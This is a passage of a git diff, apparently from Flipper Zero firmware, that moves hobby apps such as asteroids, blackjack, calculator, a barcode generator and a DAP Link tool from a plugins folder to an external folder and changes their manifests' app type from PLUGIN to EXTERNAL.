applications/external/asteroids/assets/firepower_12x12.png diff --git a/applications/plugins/asteroids/assets/firepower_9x10.png b/applications/external/asteroids/assets/firepower_9x10.png similarity index 100% rename from applications/plugins/asteroids/assets/firepower_9x10.png rename to applications/external/asteroids/assets/firepower_9x10.png diff --git a/applications/plugins/asteroids/assets/firepower_shifted_9x10.png b/applications/external/asteroids/assets/firepower_shifted_9x10.png similarity index 100% rename from applications/plugins/asteroids/assets/firepower_shifted_9x10.png rename to applications/external/asteroids/assets/firepower_shifted_9x10.png diff --git a/applications/plugins/asteroids/assets/heart_10x10.png b/applications/external/asteroids/assets/heart_10x10.png similarity index 100% rename from applications/plugins/asteroids/assets/heart_10x10.png rename to applications/external/asteroids/assets/heart_10x10.png diff --git a/applications/plugins/asteroids/assets/heart_12x12.png b/applications/external/asteroids/assets/heart_12x12.png similarity index 100% rename from applications/plugins/asteroids/assets/heart_12x12.png rename to applications/external/asteroids/assets/heart_12x12.png diff --git a/applications/plugins/asteroids/assets/nuke_10x10.png b/applications/external/asteroids/assets/nuke_10x10.png similarity index 100% rename from applications/plugins/asteroids/assets/nuke_10x10.png rename to applications/external/asteroids/assets/nuke_10x10.png diff --git a/applications/plugins/asteroids/assets/shield-frame.png b/applications/external/asteroids/assets/shield-frame.png similarity index 100% rename from applications/plugins/asteroids/assets/shield-frame.png rename to applications/external/asteroids/assets/shield-frame.png diff --git a/applications/plugins/asteroids/assets/shield_clean.png b/applications/external/asteroids/assets/shield_clean.png similarity index 100% rename from applications/plugins/asteroids/assets/shield_clean.png rename to applications/external/asteroids/assets/shield_clean.png diff --git a/applications/plugins/asteroids/assets/split_shield_10x10.png b/applications/external/asteroids/assets/split_shield_10x10.png similarity index 100% rename from applications/plugins/asteroids/assets/split_shield_10x10.png rename to applications/external/asteroids/assets/split_shield_10x10.png diff --git a/applications/plugins/barcode_gen/LICENSE b/applications/external/barcode_gen/LICENSE similarity index 100% rename from applications/plugins/barcode_gen/LICENSE rename to applications/external/barcode_gen/LICENSE diff --git a/applications/plugins/barcode_gen/application.fam b/applications/external/barcode_gen/application.fam similarity index 100% rename from applications/plugins/barcode_gen/application.fam rename to applications/external/barcode_gen/application.fam diff --git a/applications/plugins/barcode_gen/barcode_app.c b/applications/external/barcode_gen/barcode_app.c similarity index 100% rename from applications/plugins/barcode_gen/barcode_app.c rename to applications/external/barcode_gen/barcode_app.c diff --git a/applications/plugins/barcode_gen/barcode_app.h b/applications/external/barcode_gen/barcode_app.h similarity index 100% rename from applications/plugins/barcode_gen/barcode_app.h rename to applications/external/barcode_gen/barcode_app.h diff --git a/applications/plugins/barcode_gen/barcode_utils.c b/applications/external/barcode_gen/barcode_utils.c similarity index 100% rename from applications/plugins/barcode_gen/barcode_utils.c rename to applications/external/barcode_gen/barcode_utils.c diff --git a/applications/plugins/barcode_gen/barcode_utils.h b/applications/external/barcode_gen/barcode_utils.h similarity index 100% rename from applications/plugins/barcode_gen/barcode_utils.h rename to applications/external/barcode_gen/barcode_utils.h diff --git a/applications/plugins/barcode_gen/barcode_validator.c b/applications/external/barcode_gen/barcode_validator.c similarity index 100% rename from applications/plugins/barcode_gen/barcode_validator.c rename to applications/external/barcode_gen/barcode_validator.c diff --git a/applications/plugins/barcode_gen/barcode_validator.h b/applications/external/barcode_gen/barcode_validator.h similarity index 100% rename from applications/plugins/barcode_gen/barcode_validator.h rename to applications/external/barcode_gen/barcode_validator.h diff --git a/applications/plugins/barcode_gen/encodings.c b/applications/external/barcode_gen/encodings.c similarity index 100% rename from applications/plugins/barcode_gen/encodings.c rename to applications/external/barcode_gen/encodings.c diff --git a/applications/plugins/barcode_gen/encodings.h b/applications/external/barcode_gen/encodings.h similarity index 100% rename from applications/plugins/barcode_gen/encodings.h rename to applications/external/barcode_gen/encodings.h diff --git a/applications/plugins/barcode_gen/images/barcode_10.png b/applications/external/barcode_gen/images/barcode_10.png similarity index 100% rename from applications/plugins/barcode_gen/images/barcode_10.png rename to applications/external/barcode_gen/images/barcode_10.png diff --git a/applications/plugins/barcode_gen/views/barcode_view.c b/applications/external/barcode_gen/views/barcode_view.c similarity index 100% rename from applications/plugins/barcode_gen/views/barcode_view.c rename to applications/external/barcode_gen/views/barcode_view.c diff --git a/applications/plugins/barcode_gen/views/barcode_view.h b/applications/external/barcode_gen/views/barcode_view.h similarity index 100% rename from applications/plugins/barcode_gen/views/barcode_view.h rename to applications/external/barcode_gen/views/barcode_view.h diff --git a/applications/plugins/barcode_gen/views/create_view.c b/applications/external/barcode_gen/views/create_view.c similarity index 100% rename from applications/plugins/barcode_gen/views/create_view.c rename to applications/external/barcode_gen/views/create_view.c diff --git a/applications/plugins/barcode_gen/views/create_view.h b/applications/external/barcode_gen/views/create_view.h similarity index 100% rename from applications/plugins/barcode_gen/views/create_view.h rename to applications/external/barcode_gen/views/create_view.h diff --git a/applications/plugins/barcode_gen/views/message_view.c b/applications/external/barcode_gen/views/message_view.c similarity index 100% rename from applications/plugins/barcode_gen/views/message_view.c rename to applications/external/barcode_gen/views/message_view.c diff --git a/applications/plugins/barcode_gen/views/message_view.h b/applications/external/barcode_gen/views/message_view.h similarity index 100% rename from applications/plugins/barcode_gen/views/message_view.h rename to applications/external/barcode_gen/views/message_view.h diff --git a/applications/plugins/blackjack/application.fam b/applications/external/blackjack/application.fam similarity index 100% rename from applications/plugins/blackjack/application.fam rename to applications/external/blackjack/application.fam diff --git a/applications/plugins/blackjack/assets/blackjack.png b/applications/external/blackjack/assets/blackjack.png similarity index 100% rename from applications/plugins/blackjack/assets/blackjack.png rename to applications/external/blackjack/assets/blackjack.png diff --git a/applications/plugins/blackjack/assets/card_graphics.png b/applications/external/blackjack/assets/card_graphics.png similarity index 100% rename from applications/plugins/blackjack/assets/card_graphics.png rename to applications/external/blackjack/assets/card_graphics.png diff --git a/applications/plugins/blackjack/assets/endscreen.png b/applications/external/blackjack/assets/endscreen.png similarity index 100% rename from applications/plugins/blackjack/assets/endscreen.png rename to applications/external/blackjack/assets/endscreen.png diff --git a/applications/plugins/blackjack/blackjack.c b/applications/external/blackjack/blackjack.c similarity index 100% rename from applications/plugins/blackjack/blackjack.c rename to applications/external/blackjack/blackjack.c diff --git a/applications/plugins/blackjack/blackjack_10px.png b/applications/external/blackjack/blackjack_10px.png similarity index 100% rename from applications/plugins/blackjack/blackjack_10px.png rename to applications/external/blackjack/blackjack_10px.png diff --git a/applications/plugins/blackjack/common/card.c b/applications/external/blackjack/common/card.c similarity index 100% rename from applications/plugins/blackjack/common/card.c rename to applications/external/blackjack/common/card.c diff --git a/applications/plugins/blackjack/common/card.h b/applications/external/blackjack/common/card.h similarity index 100% rename from applications/plugins/blackjack/common/card.h rename to applications/external/blackjack/common/card.h diff --git a/applications/plugins/blackjack/common/dml.c b/applications/external/blackjack/common/dml.c similarity index 100% rename from applications/plugins/blackjack/common/dml.c rename to applications/external/blackjack/common/dml.c diff --git a/applications/plugins/blackjack/common/dml.h b/applications/external/blackjack/common/dml.h similarity index 100% rename from applications/plugins/blackjack/common/dml.h rename to applications/external/blackjack/common/dml.h diff --git a/applications/plugins/blackjack/common/menu.c b/applications/external/blackjack/common/menu.c similarity index 100% rename from applications/plugins/blackjack/common/menu.c rename to applications/external/blackjack/common/menu.c diff --git a/applications/plugins/blackjack/common/menu.h b/applications/external/blackjack/common/menu.h similarity index 100% rename from applications/plugins/blackjack/common/menu.h rename to applications/external/blackjack/common/menu.h diff --git a/applications/plugins/blackjack/common/queue.c b/applications/external/blackjack/common/queue.c similarity index 100% rename from applications/plugins/blackjack/common/queue.c rename to applications/external/blackjack/common/queue.c diff --git a/applications/plugins/blackjack/common/queue.h b/applications/external/blackjack/common/queue.h similarity index 100% rename from applications/plugins/blackjack/common/queue.h rename to applications/external/blackjack/common/queue.h diff --git a/applications/plugins/blackjack/common/ui.c b/applications/external/blackjack/common/ui.c similarity index 100% rename from applications/plugins/blackjack/common/ui.c rename to applications/external/blackjack/common/ui.c diff --git a/applications/plugins/blackjack/common/ui.h b/applications/external/blackjack/common/ui.h similarity index 100% rename from applications/plugins/blackjack/common/ui.h rename to applications/external/blackjack/common/ui.h diff --git a/applications/plugins/blackjack/defines.h b/applications/external/blackjack/defines.h similarity index 100% rename from applications/plugins/blackjack/defines.h rename to applications/external/blackjack/defines.h diff --git a/applications/plugins/blackjack/ui.c b/applications/external/blackjack/ui.c similarity index 100% rename from applications/plugins/blackjack/ui.c rename to applications/external/blackjack/ui.c diff --git a/applications/plugins/blackjack/ui.h b/applications/external/blackjack/ui.h similarity index 100% rename from applications/plugins/blackjack/ui.h rename to applications/external/blackjack/ui.h diff --git a/applications/plugins/blackjack/util.c b/applications/external/blackjack/util.c similarity index 100% rename from applications/plugins/blackjack/util.c rename to applications/external/blackjack/util.c diff --git a/applications/plugins/blackjack/util.h b/applications/external/blackjack/util.h similarity index 100% rename from applications/plugins/blackjack/util.h rename to applications/external/blackjack/util.h diff --git a/applications/plugins/bpmtapper/LICENSE b/applications/external/bpmtapper/LICENSE similarity index 100% rename from applications/plugins/bpmtapper/LICENSE rename to applications/external/bpmtapper/LICENSE diff --git a/applications/plugins/bpmtapper/README.md b/applications/external/bpmtapper/README.md similarity index 100% rename from applications/plugins/bpmtapper/README.md rename to applications/external/bpmtapper/README.md diff --git a/applications/plugins/bpmtapper/application.fam b/applications/external/bpmtapper/application.fam similarity index 100% rename from applications/plugins/bpmtapper/application.fam rename to applications/external/bpmtapper/application.fam diff --git a/applications/plugins/bpmtapper/bpm.c b/applications/external/bpmtapper/bpm.c similarity index 100% rename from applications/plugins/bpmtapper/bpm.c rename to applications/external/bpmtapper/bpm.c diff --git a/applications/plugins/bpmtapper/bpm_10px.png b/applications/external/bpmtapper/bpm_10px.png similarity index 100% rename from applications/plugins/bpmtapper/bpm_10px.png rename to applications/external/bpmtapper/bpm_10px.png diff --git a/applications/plugins/bpmtapper/icons/DolphinCommon_56x48.png b/applications/external/bpmtapper/icons/DolphinCommon_56x48.png similarity index 100% rename from applications/plugins/bpmtapper/icons/DolphinCommon_56x48.png rename to applications/external/bpmtapper/icons/DolphinCommon_56x48.png diff --git a/applications/plugins/bpmtapper/images/DolphinCommon_56x48.png b/applications/external/bpmtapper/images/DolphinCommon_56x48.png similarity index 100% rename from applications/plugins/bpmtapper/images/DolphinCommon_56x48.png rename to applications/external/bpmtapper/images/DolphinCommon_56x48.png diff --git a/applications/plugins/bpmtapper/img/screenshot.png b/applications/external/bpmtapper/img/screenshot.png similarity index 100% rename from applications/plugins/bpmtapper/img/screenshot.png rename to applications/external/bpmtapper/img/screenshot.png diff --git a/applications/plugins/brainfuck/application.fam b/applications/external/brainfuck/application.fam similarity index 100% rename from applications/plugins/brainfuck/application.fam rename to applications/external/brainfuck/application.fam diff --git a/applications/plugins/brainfuck/bfico.png b/applications/external/brainfuck/bfico.png similarity index 100% rename from applications/plugins/brainfuck/bfico.png rename to applications/external/brainfuck/bfico.png diff --git a/applications/plugins/brainfuck/brainfuck.c b/applications/external/brainfuck/brainfuck.c similarity index 100% rename from applications/plugins/brainfuck/brainfuck.c rename to applications/external/brainfuck/brainfuck.c diff --git a/applications/plugins/brainfuck/brainfuck.h b/applications/external/brainfuck/brainfuck.h similarity index 100% rename from applications/plugins/brainfuck/brainfuck.h rename to applications/external/brainfuck/brainfuck.h diff --git a/applications/plugins/brainfuck/brainfuck_i.h b/applications/external/brainfuck/brainfuck_i.h similarity index 100% rename from applications/plugins/brainfuck/brainfuck_i.h rename to applications/external/brainfuck/brainfuck_i.h diff --git a/applications/plugins/brainfuck/icons/ButtonRightSmall_3x5.png b/applications/external/brainfuck/icons/ButtonRightSmall_3x5.png similarity index 100% rename from applications/plugins/brainfuck/icons/ButtonRightSmall_3x5.png rename to applications/external/brainfuck/icons/ButtonRightSmall_3x5.png diff --git a/applications/plugins/brainfuck/icons/KeyBackspaceSelected_24x11.png b/applications/external/brainfuck/icons/KeyBackspaceSelected_24x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeyBackspaceSelected_24x11.png rename to applications/external/brainfuck/icons/KeyBackspaceSelected_24x11.png diff --git a/applications/plugins/brainfuck/icons/KeyBackspace_24x11.png b/applications/external/brainfuck/icons/KeyBackspace_24x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeyBackspace_24x11.png rename to applications/external/brainfuck/icons/KeyBackspace_24x11.png diff --git a/applications/plugins/brainfuck/icons/KeyInputSelected_30x11.png b/applications/external/brainfuck/icons/KeyInputSelected_30x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeyInputSelected_30x11.png rename to applications/external/brainfuck/icons/KeyInputSelected_30x11.png diff --git a/applications/plugins/brainfuck/icons/KeyInput_30x11.png b/applications/external/brainfuck/icons/KeyInput_30x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeyInput_30x11.png rename to applications/external/brainfuck/icons/KeyInput_30x11.png diff --git a/applications/plugins/brainfuck/icons/KeyRunSelected_24x11.png b/applications/external/brainfuck/icons/KeyRunSelected_24x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeyRunSelected_24x11.png rename to applications/external/brainfuck/icons/KeyRunSelected_24x11.png diff --git a/applications/plugins/brainfuck/icons/KeyRun_24x11.png b/applications/external/brainfuck/icons/KeyRun_24x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeyRun_24x11.png rename to applications/external/brainfuck/icons/KeyRun_24x11.png diff --git a/applications/plugins/brainfuck/icons/KeySaveSelected_24x11.png b/applications/external/brainfuck/icons/KeySaveSelected_24x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeySaveSelected_24x11.png rename to applications/external/brainfuck/icons/KeySaveSelected_24x11.png diff --git a/applications/plugins/brainfuck/icons/KeySave_24x11.png b/applications/external/brainfuck/icons/KeySave_24x11.png similarity index 100% rename from applications/plugins/brainfuck/icons/KeySave_24x11.png rename to applications/external/brainfuck/icons/KeySave_24x11.png diff --git a/applications/plugins/brainfuck/icons/bfico.png b/applications/external/brainfuck/icons/bfico.png similarity index 100% rename from applications/plugins/brainfuck/icons/bfico.png rename to applications/external/brainfuck/icons/bfico.png diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene.c b/applications/external/brainfuck/scenes/brainfuck_scene.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene.c rename to applications/external/brainfuck/scenes/brainfuck_scene.c diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene.h b/applications/external/brainfuck/scenes/brainfuck_scene.h similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene.h rename to applications/external/brainfuck/scenes/brainfuck_scene.h diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_config.h b/applications/external/brainfuck/scenes/brainfuck_scene_config.h similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_config.h rename to applications/external/brainfuck/scenes/brainfuck_scene_config.h diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_dev.c b/applications/external/brainfuck/scenes/brainfuck_scene_dev.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_dev.c rename to applications/external/brainfuck/scenes/brainfuck_scene_dev.c diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_exec.c b/applications/external/brainfuck/scenes/brainfuck_scene_exec.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_exec.c rename to applications/external/brainfuck/scenes/brainfuck_scene_exec.c diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_file_create.c b/applications/external/brainfuck/scenes/brainfuck_scene_file_create.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_file_create.c rename to applications/external/brainfuck/scenes/brainfuck_scene_file_create.c diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_file_select.c b/applications/external/brainfuck/scenes/brainfuck_scene_file_select.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_file_select.c rename to applications/external/brainfuck/scenes/brainfuck_scene_file_select.c diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_set_input.c b/applications/external/brainfuck/scenes/brainfuck_scene_set_input.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_set_input.c rename to applications/external/brainfuck/scenes/brainfuck_scene_set_input.c diff --git a/applications/plugins/brainfuck/scenes/brainfuck_scene_start.c b/applications/external/brainfuck/scenes/brainfuck_scene_start.c similarity index 100% rename from applications/plugins/brainfuck/scenes/brainfuck_scene_start.c rename to applications/external/brainfuck/scenes/brainfuck_scene_start.c diff --git a/applications/plugins/brainfuck/views/bf_dev_env.c b/applications/external/brainfuck/views/bf_dev_env.c similarity index 100% rename from applications/plugins/brainfuck/views/bf_dev_env.c rename to applications/external/brainfuck/views/bf_dev_env.c diff --git a/applications/plugins/brainfuck/views/bf_dev_env.h b/applications/external/brainfuck/views/bf_dev_env.h similarity index 100% rename from applications/plugins/brainfuck/views/bf_dev_env.h rename to applications/external/brainfuck/views/bf_dev_env.h diff --git a/applications/plugins/brainfuck/worker.c b/applications/external/brainfuck/worker.c similarity index 100% rename from applications/plugins/brainfuck/worker.c rename to applications/external/brainfuck/worker.c diff --git a/applications/plugins/brainfuck/worker.h b/applications/external/brainfuck/worker.h similarity index 100% rename from applications/plugins/brainfuck/worker.h rename to applications/external/brainfuck/worker.h diff --git a/applications/plugins/caesarcipher/LICENSE b/applications/external/caesarcipher/LICENSE similarity index 100% rename from applications/plugins/caesarcipher/LICENSE rename to applications/external/caesarcipher/LICENSE diff --git a/applications/plugins/caesarcipher/README.md b/applications/external/caesarcipher/README.md similarity index 100% rename from applications/plugins/caesarcipher/README.md rename to applications/external/caesarcipher/README.md diff --git a/applications/plugins/caesarcipher/application.fam b/applications/external/caesarcipher/application.fam similarity index 88% rename from applications/plugins/caesarcipher/application.fam rename to applications/external/caesarcipher/application.fam index 652585de2..4f438d2b3 100644 --- a/applications/plugins/caesarcipher/application.fam +++ b/applications/external/caesarcipher/application.fam @@ -1,7 +1,7 @@ App( appid="Caesar_Cipher", name="Caesar Cipher", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="caesar_cipher_app", cdefines=["APP_CAESAR_CIPHER"], requires=[ diff --git a/applications/plugins/caesarcipher/caesar_cipher.c b/applications/external/caesarcipher/caesar_cipher.c similarity index 100% rename from applications/plugins/caesarcipher/caesar_cipher.c rename to applications/external/caesarcipher/caesar_cipher.c diff --git a/applications/plugins/caesarcipher/caesar_cipher_icon.png b/applications/external/caesarcipher/caesar_cipher_icon.png similarity index 100% rename from applications/plugins/caesarcipher/caesar_cipher_icon.png rename to applications/external/caesarcipher/caesar_cipher_icon.png diff --git a/applications/plugins/caesarcipher/img/1.png b/applications/external/caesarcipher/img/1.png similarity index 100% rename from applications/plugins/caesarcipher/img/1.png rename to applications/external/caesarcipher/img/1.png diff --git a/applications/plugins/caesarcipher/img/2.png b/applications/external/caesarcipher/img/2.png similarity index 100% rename from applications/plugins/caesarcipher/img/2.png rename to applications/external/caesarcipher/img/2.png diff --git a/applications/plugins/calculator/application.fam b/applications/external/calculator/application.fam similarity index 100% rename from applications/plugins/calculator/application.fam rename to applications/external/calculator/application.fam diff --git a/applications/plugins/calculator/calc.png b/applications/external/calculator/calc.png similarity index 100% rename from applications/plugins/calculator/calc.png rename to applications/external/calculator/calc.png diff --git a/applications/plugins/calculator/calcIcon.png b/applications/external/calculator/calcIcon.png similarity index 100% rename from applications/plugins/calculator/calcIcon.png rename to applications/external/calculator/calcIcon.png diff --git a/applications/plugins/calculator/calculator.c b/applications/external/calculator/calculator.c similarity index 100% rename from applications/plugins/calculator/calculator.c rename to applications/external/calculator/calculator.c diff --git a/applications/plugins/calculator/tinyexpr.c b/applications/external/calculator/tinyexpr.c similarity index 100% rename from applications/plugins/calculator/tinyexpr.c rename to applications/external/calculator/tinyexpr.c diff --git a/applications/plugins/calculator/tinyexpr.h b/applications/external/calculator/tinyexpr.h similarity index 100% rename from applications/plugins/calculator/tinyexpr.h rename to applications/external/calculator/tinyexpr.h diff --git a/applications/plugins/cli_bridge/.gitignore b/applications/external/cli_bridge/.gitignore similarity index 100% rename from applications/plugins/cli_bridge/.gitignore rename to applications/external/cli_bridge/.gitignore diff --git a/applications/plugins/cli_bridge/LICENSE b/applications/external/cli_bridge/LICENSE similarity index 100% rename from applications/plugins/cli_bridge/LICENSE rename to applications/external/cli_bridge/LICENSE diff --git a/applications/plugins/cli_bridge/README.md b/applications/external/cli_bridge/README.md similarity index 100% rename from applications/plugins/cli_bridge/README.md rename to applications/external/cli_bridge/README.md diff --git a/applications/plugins/cli_bridge/application.fam b/applications/external/cli_bridge/application.fam similarity index 100% rename from applications/plugins/cli_bridge/application.fam rename to applications/external/cli_bridge/application.fam diff --git a/applications/plugins/cli_bridge/cli_control.c b/applications/external/cli_bridge/cli_control.c similarity index 100% rename from applications/plugins/cli_bridge/cli_control.c rename to applications/external/cli_bridge/cli_control.c diff --git a/applications/plugins/cli_bridge/cli_control.h b/applications/external/cli_bridge/cli_control.h similarity index 100% rename from applications/plugins/cli_bridge/cli_control.h rename to applications/external/cli_bridge/cli_control.h diff --git a/applications/plugins/cli_bridge/cligui.png b/applications/external/cli_bridge/cligui.png similarity index 100% rename from applications/plugins/cli_bridge/cligui.png rename to applications/external/cli_bridge/cligui.png diff --git a/applications/plugins/cli_bridge/cligui_main.c b/applications/external/cli_bridge/cligui_main.c similarity index 100% rename from applications/plugins/cli_bridge/cligui_main.c rename to applications/external/cli_bridge/cligui_main.c diff --git a/applications/plugins/cli_bridge/cligui_main_i.h b/applications/external/cli_bridge/cligui_main_i.h similarity index 100% rename from applications/plugins/cli_bridge/cligui_main_i.h rename to applications/external/cli_bridge/cligui_main_i.h diff --git a/applications/plugins/cli_bridge/console_output.c b/applications/external/cli_bridge/console_output.c similarity index 100% rename from applications/plugins/cli_bridge/console_output.c rename to applications/external/cli_bridge/console_output.c diff --git a/applications/plugins/cli_bridge/console_output.h b/applications/external/cli_bridge/console_output.h similarity index 100% rename from applications/plugins/cli_bridge/console_output.h rename to applications/external/cli_bridge/console_output.h diff --git a/applications/plugins/cli_bridge/internal_defs.h b/applications/external/cli_bridge/internal_defs.h similarity index 100% rename from applications/plugins/cli_bridge/internal_defs.h rename to applications/external/cli_bridge/internal_defs.h diff --git a/applications/plugins/cli_bridge/text_input.c b/applications/external/cli_bridge/text_input.c similarity index 100% rename from applications/plugins/cli_bridge/text_input.c rename to applications/external/cli_bridge/text_input.c diff --git a/applications/plugins/cli_bridge/text_input.h b/applications/external/cli_bridge/text_input.h similarity index 100% rename from applications/plugins/cli_bridge/text_input.h rename to applications/external/cli_bridge/text_input.h diff --git a/applications/plugins/cntdown_timer/README.md b/applications/external/cntdown_timer/README.md similarity index 100% rename from applications/plugins/cntdown_timer/README.md rename to applications/external/cntdown_timer/README.md diff --git a/applications/plugins/cntdown_timer/app.c b/applications/external/cntdown_timer/app.c similarity index 100% rename from applications/plugins/cntdown_timer/app.c rename to applications/external/cntdown_timer/app.c diff --git a/applications/plugins/cntdown_timer/app.h b/applications/external/cntdown_timer/app.h similarity index 100% rename from applications/plugins/cntdown_timer/app.h rename to applications/external/cntdown_timer/app.h diff --git a/applications/plugins/cntdown_timer/application.fam b/applications/external/cntdown_timer/application.fam similarity index 100% rename from applications/plugins/cntdown_timer/application.fam rename to applications/external/cntdown_timer/application.fam diff --git a/applications/plugins/cntdown_timer/cntdown_timer.png b/applications/external/cntdown_timer/cntdown_timer.png similarity index 100% rename from applications/plugins/cntdown_timer/cntdown_timer.png rename to applications/external/cntdown_timer/cntdown_timer.png diff --git a/applications/plugins/cntdown_timer/utils/utils.c b/applications/external/cntdown_timer/utils/utils.c similarity index 100% rename from applications/plugins/cntdown_timer/utils/utils.c rename to applications/external/cntdown_timer/utils/utils.c diff --git a/applications/plugins/cntdown_timer/utils/utils.h b/applications/external/cntdown_timer/utils/utils.h similarity index 100% rename from applications/plugins/cntdown_timer/utils/utils.h rename to applications/external/cntdown_timer/utils/utils.h diff --git a/applications/plugins/cntdown_timer/views/countdown_view.c b/applications/external/cntdown_timer/views/countdown_view.c similarity index 100% rename from applications/plugins/cntdown_timer/views/countdown_view.c rename to applications/external/cntdown_timer/views/countdown_view.c diff --git a/applications/plugins/cntdown_timer/views/countdown_view.h b/applications/external/cntdown_timer/views/countdown_view.h similarity index 100% rename from applications/plugins/cntdown_timer/views/countdown_view.h rename to applications/external/cntdown_timer/views/countdown_view.h diff --git a/applications/plugins/counter/README.md b/applications/external/counter/README.md similarity index 100% rename from applications/plugins/counter/README.md rename to applications/external/counter/README.md diff --git a/applications/plugins/counter/application.fam b/applications/external/counter/application.fam similarity index 84% rename from applications/plugins/counter/application.fam rename to applications/external/counter/application.fam index 8f0147b09..b287965bf 100644 --- a/applications/plugins/counter/application.fam +++ b/applications/external/counter/application.fam @@ -1,7 +1,7 @@ App( appid="counter", name="Counter", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="counterapp", requires=[ "gui", diff --git a/applications/plugins/counter/counter.c b/applications/external/counter/counter.c similarity index 100% rename from applications/plugins/counter/counter.c rename to applications/external/counter/counter.c diff --git a/applications/plugins/counter/icons/counter_icon.png b/applications/external/counter/icons/counter_icon.png similarity index 100% rename from applications/plugins/counter/icons/counter_icon.png rename to applications/external/counter/icons/counter_icon.png diff --git a/applications/plugins/dap_link/README.md b/applications/external/dap_link/README.md similarity index 100% rename from applications/plugins/dap_link/README.md rename to applications/external/dap_link/README.md diff --git a/applications/plugins/dap_link/application.fam b/applications/external/dap_link/application.fam similarity index 92% rename from applications/plugins/dap_link/application.fam rename to applications/external/dap_link/application.fam index 4dd2e531e..321b9e102 100644 --- a/applications/plugins/dap_link/application.fam +++ b/applications/external/dap_link/application.fam @@ -1,7 +1,7 @@ App( appid="dap_link", name="[GPIO] DAP Link", - apptype=FlipperAppType.PLUGIN, + apptype=FlipperAppType.EXTERNAL, entry_point="dap_link_app", requires=[ "gui", diff --git a/applications/plugins/dap_link/dap_config.h b/applications/external/dap_link/dap_config.h similarity index 100% rename from applications/plugins/dap_link/dap_config.h rename to applications/external/dap_link/dap_config.h diff --git a/applications/plugins/dap_link/dap_link.c b/applications/external/dap_link/dap_link.c similarity index 100% rename from applications/plugins/dap_link/dap_link.c rename to applications/external/dap_link/dap_link.c diff --git a/applications/plugins/dap_link/dap_link.h b/applications/external/dap_link/dap_link.h similarity index 100% rename from applications/plugins/dap_link/dap_link.h rename to applications/external/dap_link/dap_link.h diff --git a/applications/plugins/dap_link/dap_link.png b/applications/external/dap_link/dap_link.png similarity index 100% rename from applications/plugins/dap_link/dap_link.png rename to applications/external/dap_link/dap_link.png diff --git a/applications/plugins/dap_link/gui/dap_gui.c b/applications/external/dap_link/gui/dap_gui.c similarity index 100% rename from applications/plugins/dap_link/gui/dap_gui.c rename to applications/external/dap_link/gui/dap_gui.c diff --git a/applications/plugins/dap_link/gui/dap_gui.h b/applications/external/dap_link/gui/dap_gui.h similarity index 100% rename from applications/plugins/dap_link/gui/dap_gui.h rename to applications/external/dap_link/gui/dap_gui.h diff --git a/applications/plugins/dap_link/gui/dap_gui_custom_event.h b/applications/external/dap_link/gui/dap_gui_custom_event.h similarity index 100% rename from applications/plugins/dap_link/gui/dap_gui_custom_event.h rename to applications/external/dap_link/gui/dap_gui_custom_event.h diff --git a/applications/plugins/dap_link/gui/dap_gui_i.h b/applications/external/dap_link/gui/dap_gui_i.h similarity index 100% rename from applications/plugins/dap_link/gui/dap_gui_i.h rename to applications/external/dap_link/gui/dap_gui_i.h diff --git a/applications/plugins/dap_link/gui/scenes/config/dap_scene.c b/applications/external/dap_link/gui/scenes/config/dap_scene.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/config/dap_scene.c rename to applications/external/dap_link/gui/scenes/config/dap_scene.c diff --git a/applications/plugins/dap_link/gui/scenes/config/dap_scene.h b/applications/external/dap_link/gui/scenes/config/dap_scene.h similarity index 100% rename from applications/plugins/dap_link/gui/scenes/config/dap_scene.h rename to applications/external/dap_link/gui/scenes/config/dap_scene.h diff --git a/applications/plugins/dap_link/gui/scenes/config/dap_scene_config.h b/applications/external/dap_link/gui/scenes/config/dap_scene_config.h similarity index 100% rename from applications/plugins/dap_link/gui/scenes/config/dap_scene_config.h rename to applications/external/dap_link/gui/scenes/config/dap_scene_config.h diff --git a/applications/plugins/dap_link/gui/scenes/dap_scene_about.c b/applications/external/dap_link/gui/scenes/dap_scene_about.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/dap_scene_about.c rename to applications/external/dap_link/gui/scenes/dap_scene_about.c diff --git a/applications/plugins/dap_link/gui/scenes/dap_scene_config.c b/applications/external/dap_link/gui/scenes/dap_scene_config.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/dap_scene_config.c rename to applications/external/dap_link/gui/scenes/dap_scene_config.c diff --git a/applications/plugins/dap_link/gui/scenes/dap_scene_help.c b/applications/external/dap_link/gui/scenes/dap_scene_help.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/dap_scene_help.c rename to applications/external/dap_link/gui/scenes/dap_scene_help.c diff --git a/applications/plugins/dap_link/gui/scenes/dap_scene_main.c b/applications/external/dap_link/gui/scenes/dap_scene_main.c similarity index 100% rename from applications/plugins/dap_link/gui/scenes/dap_scene_main.c rename to applications/external/dap_link/gui/scenes/dap_scene_main.c diff --git a/applications/plugins/dap_link/gui/views/dap_main_view.c b/applications/external/dap_link/gui/views/dap_main_view.c similarity index 100% rename from applications/plugins/dap_link/gui/views/dap_main_view.c rename to applications/external/dap_link/gui/views/dap_main_view.c diff --git a/applications/plugins/dap_link/gui/views/dap_main_view.h 